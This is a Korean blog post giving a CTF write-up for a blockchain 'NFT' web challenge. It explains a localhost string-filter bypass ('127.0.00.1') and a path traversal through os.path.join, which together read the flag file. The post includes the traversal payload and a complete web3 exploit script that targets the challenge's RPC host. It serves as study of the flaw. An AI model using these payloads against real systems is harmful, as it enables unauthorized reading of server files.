티스토리 뷰

728x90
반응형

문제 개요

Bypass Localhost with hostname and File Traversal using os.path.join logical bug

 

코드 분석

우선 Flag의 위치를 알아보았습니다. 아래는 Dockerfile 내용 중 일부 입니다.

WORKDIR /home/ctf
... 생략 ...
COPY flag.txt flag.txt

Flag는 /home/ctf/flag.txt 에 위치해 있는 것을 확인할 수 있습니다. 파일 형태로 되어 있으니 File Path Traversal 이나 RCE 취약점으로 파일을 읽어와야 한다는 것을 짐작할 수 있게 해줍니다.

 

NFT 문제의 웹서비스 코드인 nft_web 디렉토리 하위의 urls.py의 내용은 아래와 같습니다.

from django.urls import path

from . import views

urlpatterns = [
    path('', views.index, name='index'),
    path('login', views.login, name='login'),
    path('regist', views.regist, name='regist'),
    path('logout', views.logout, name='logout'),
    path('<str:user_id>/nfts/', views.nfts, name='nfts'),
]

로그인, 회원가입, 로그아웃, 그리고 발행한 nft 목록을 확인할 수 있는 기능이 있음을 알 수 있습니다.

 

로그인을 하게 되면 main index로 redirection 시키면서 아래 내용을 출력합니다.

# ... 생략 ...
return HttpResponse("Hello, %s\nprivate key: %s\ncontract address: %s" % (user_id, private_key, account.address))

그리고 그 모습은 아래와 같은데요.

회원가입한 본인 계정의 private key와 contract address 를 획득할 수 있습니다. 이를 이용해서 이제 contract 함수에 특정 기능 또는 함수를 호출해서 사용할 수 있겠습니다. 함수 호출에는 비용이 드는만큼 문제에서 주어진 faucet 을 통해서 1 ether를 발급받아줘야겠지요.

 

그리고 /사용자이름/nfts 경로에서는 발행한 nft 목록을 볼 수 있는데요. 처음에는 아무 것도 없는 목록을 볼 수 있겠습니다.

이 nft 목록을 출력해주는 원리를 파악하고자 다시 웹서비스의 views.py 파일에 정의된 nfts 함수를 보았습니다.

def nfts(request, user_id):
    # ... 생략 ... (회원 인증 코드)
    if not user.is_cached:
        for tid in ids:
            uri = contract.getTokenURI(tid).call({'from':account.address})
            if not uri:
                continue

            resp = get_response(uri) # 이 부분이 중요
            if not resp:
                continue

            try:
                json_res = json.loads(resp)
                for key in list(json_res.keys()):
                    if key in ['name', 'description']:
                        result += f'<br/>{key}: {json_res[key]}'
                    elif key == 'image':
                        result += f'<br/>{key}: <img src=\"{json_res[key]}\"/>'
                result += "<br/>"


            except: # 오류가 났을 경우 resp 를 그대로 출력함
                result += f"<br/>malformed {uri}: {resp}"

	# ... 생략 ...

    return HttpResponse("= NFT list =" + result)

위 코드에서도 표시했지만 중요한 부분은 get_response(uri)입니다. contract의 getTokenURI 함수는 발행된 nft 토큰의 URI를 가져오는 함수인데요. URI는 mintNft 라는 contract 함수에서 사용자 input으로 받는 tokenURI 과 동일한 값입니다. 위 함수에서 취약한 부분은 화면에 출력되는 result 변수에 get_response(uri) 함수의 반환 값인 resp 가 그대로 출력된다는 점만 알면 됩니다.

 

다시 이제 nft 서비스의 주요 contract 함수들의 코드가 담겨있는 nft.sol 파일에서 중요한 부분만 보도록 하겠습니다.

(참고로 아래는 solidity 언어입니다.)

modifier contains (string memory what, string memory where) {
    bytes memory whatBytes = bytes (what);
    bytes memory whereBytes = bytes (where);

    require(whereBytes.length >= whatBytes.length);

    bool found = false;
    for (uint i = 0; i <= whereBytes.length - whatBytes.length; i++) {
        bool flag = true;
        for (uint j = 0; j < whatBytes.length; j++)
            if (whereBytes [i + j] != whatBytes [j]) {
                flag = false;
                break;
            }
        if (flag) {
            found = true;
            break;
        }
    }
    require (!found);

    _;
}
function mintNft(string memory tokenURI) external contains ("127.0.0.1", tokenURI) contains ("0.0.0.0", tokenURI) returns (uint256) {
    require(balanceOf(msg.sender) <= 3);
    _tokenIds.increment();

    uint256 newNftTokenId = _tokenIds.current();
    _mint(msg.sender, newNftTokenId);
    _setTokenURI(newNftTokenId, tokenURI);
    _tokenIDs[msg.sender].push(newNftTokenId);
    return newNftTokenId;
}

주목해야될 부분은 contains 라는 modifier 입니다. 문자열 그대로 127.0.0.1 또는 0.0.0.0 을 필터링하고 있음을 알 수 있습니다. 그렇기 때문에 문자열 그대로만 입력하지 않으면 된다는 의미겠죠.

 

그리고 이제 가장 중요한 path traversal 취약점이 존재하는 함수인 get_response 함수를 보도록하겠습니다.

nft_path = os.path.join('account', 'storages')
# ... 생략 ...
def get_response(uri):
    if uri.startswith('http://') or uri.startswith('https://'):
        # ... 생략 ...

    elif any([uri.startswith(str(i)) for i in range(1, 10)]) and uri.find('/') != -1:
        ip = uri.split('/')[0]

        if uri.find('..') != -1 or not uri.startswith(os.path.join(ip, nft_path + '/')):
            return

        try:
            validate_ipv4_address(ip)
        except:
            return

        ipv4 = ipaddress.IPv4Address(ip)
        if str(ipv4) not in ['127.0.0.1', '0.0.0.0']:
            return

        nft_file = uri.split(nft_path + '/')[-1]
        if nft_file.find('.') != -1 and nft_file.split('.')[-1]:
            path = os.path.join(os.getcwd(), nft_path, nft_file)

            with open(path, 'rb') as f:
                return f.read()

        return

일단 제일 하단에서 open(path, 'rb') 부분을 보면 사용자 input 에 파일 경로가 조작될 수 있음을 알 수 있습니다. mintNft contract 함수에 보낸 tokenUri 가 바로 사용자의 input이 됩니다.

 

그리고 또 중요한 점은 os.path.join 을 사용하고 있다는 것입니다. os.path.join 에서는 /asdf//domdomi 와 같은 경로를 만났을 때 domdomi 를 최상위 경로로 지정하는 특성을 가지고 있습니다.

이를 이용해서 os.getcwd() 와 nft_path 는 고정된 값이므로 nft_file 에 해당하는 변수의 값을 조작해주면 되겠습니다.

 

이제 위 원리들을 이용해서 문제를 풀도록 합니다.

 

문제 풀이

우선 위에서 127.0.0.1 또는 0.0.0.0 문자열 그대로를 우회하기 위한 방법은 아래와 같습니다.

ping 127.00.0.1
ping 127.0.00.1
ping 127.0.0.01

위 명령어 모두 동일한 경로인 127.0.0.1 에 ping을 보내는 것으로 봐서 잘 우회가 된 것 같습니다.

 

그리고 get_response 함수에서 필터링을 모두 마치고 나면 최종적인 URL은 아래와 같은 형태가 되야 합니다.

127.0.00.1/account/storages//home/ctf/flag.txt

그래야지 split('account/storages/')[-1] 했을 때 결과가 /home/ctf/flag.txt 가 되기 때문이죠.

 

이제 이 페이로드를 코드에 입력하고서 transaction을 전송해보면 됩니다.

import json
from web3 import Web3

my_contract_addr = '' # contract address
private_key = '' # private key
payload = '127.0.00.1/account/storages//home/ctf/flag.txt'

f = open('abi.txt', 'r')
abi_txt = f.read()
abi = json.loads(abi_txt)
web3 = Web3(Web3.HTTPProvider("http://13.124.97.208:8545"))
srv_contract_addr = "0x4e2daa29B440EdA4c044b3422B990C718DF7391c"
contract = web3.eth.contract(address=srv_contract_addr, abi=abi)

tx_body = {
    "from": my_contract_addr,
    "nonce": web3.eth.get_transaction_count(my_contract_addr),
    "gasPrice": 20000000000,
    "gas": 292809,
    "value": 0,
    "chainId": web3.eth.chain_id
}

func_call = contract.functions["mintNft"](payload).buildTransaction(tx_body)
signed_tx = web3.eth.account.sign_transaction(func_call, private_key)
result = web3.eth.send_raw_transaction(signed_tx.rawTransaction)
tx_hash = web3.eth.wait_for_transaction_receipt(result)

print(tx_hash)
print(tx_hash.get('status'))

참고로 abi 는 따로 solidity 컴파일러를 쓰지 않고 remix에서 export 해서 사용했습니다. gas 는 보통 estimateGas 함수로 구해서 써도 되지만, 저는 그냥 임의로 갚을 높여가면서 전송될 때까지 올려서 사용했습니다.

 

참고 문서

 

- 끝 -

728x90
반응형
댓글